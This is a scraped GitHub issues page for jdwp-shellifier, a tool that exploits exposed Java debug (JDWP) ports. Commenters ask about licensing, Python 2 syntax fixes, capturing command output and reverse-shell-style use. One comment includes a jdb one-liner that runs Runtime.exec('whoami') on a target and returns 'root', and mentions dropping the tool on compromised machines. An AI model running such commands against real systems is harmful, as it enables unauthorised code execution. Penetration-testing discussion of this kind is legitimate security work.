ioactive / jdwp-shellifier Goto Github PK
View Code? Open in Web Editor NEWLicense: MIT License
License: MIT License
Hello @hugsy,
I wondered whether it would even be possible to grab the command output, as going blind is sometimes tricky.
I don't know if it is possible as a loop has to be defined to grab the buffer stream...
This kind of stuff works (but for 1 line only), maybe you'll figure out how grab an output:
In a jdb session:
$ print new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine()
...
new java.io.BufferedReader( new java.io.InputStreamReader( new java.lang.Runtime().exec("whoami").getInputStream())).readLine() = "root"
By the way, I took the liberty to bundle your original script for Windows in order to easily drop it on internal compromised machines: I obviously put a link to your repo, tell me if anything bothers.
Cheers.
The maintained version is available here:
I would like to borrow some of your code, but there's no LICENSE permitting me to do so.
If you wouldn't mind releasing this project with an open-source license, I'd suggest the MIT license.
You can find more info here: http://choosealicense.com/
Thanks, @hugsy!
Waiting for an event on 'java.net.ServerSocket.accept'
line 150 should be print ("Error")
line 581 should be print ("[-] Failed to invoke Runtime.getRuntime()")
it does not have the () now so it is python 2
we normally use java -Xdebug -Xrunjdwp:transport=dt_socket,address=port,server=y,suspend=y,but weather it is possible to hack server when it start up ,add -Xdebug -Xrunjdwp:transport=dt_socket,address=ipv4\ipv6:port,server=n,suspend=y
as the client mode to connected to server? like a reverse shell?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.